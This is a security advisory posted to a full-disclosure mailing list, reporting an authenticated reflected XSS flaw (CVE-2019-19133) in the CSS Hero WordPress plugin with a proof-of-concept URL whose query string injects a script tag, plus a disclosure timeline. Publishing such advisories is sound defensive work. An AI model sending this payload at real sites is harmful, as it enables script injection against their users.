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Date: Mon, 2 Dec 2019 19:53:38 -0600
From: Ho oper Ca ry <cary.e.hooper@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Reflected XSS in CSS Hero (v.4.0.3)

Team,


Document Title

===============

CVE-2019-19133

Reflected XSS in CSS Hero (<= v.4.0.3) WordPress plugin.



Product Description

===============

CSS Hero WordPress Plugin

A live WordPress Theme editor that works without modifying any of your
theme files. Very low performance footprint: only generates and adds a
single static CSS file to your site.

Homepage: https://www.csshero.org/



CSS Hero is vulnerable to a reflected XSS attack (authenticated).



PoC

===============

Steps:

1) Authenticate to the WordPress application with the CSS Hero plugin installed.

2) Navigate to the following vulnerable link:



hxxp://
vulnerable.wordpress.com/?csshero_action=edit_page&rand=1015&foo%22%3E%3C/iframe%3E%3Cscript%3Ealert(%27Reflected%20XSS%20in%20CSS%20Hero%204.0.3%27)%3C/script%3E%3Ciframe%3Ebar

3) JavaScript executes within the context of the browser.  The
arbitrary parameter and value are reflected into the returned HTML.



Responsible Disclosure Information

===============

Vendor Contacted: 11/17

Date Patched: 11/20

Patched Version: v.4.0.7

Public Disclosure: 12/2



Cary Hooper

@nopantrootdance

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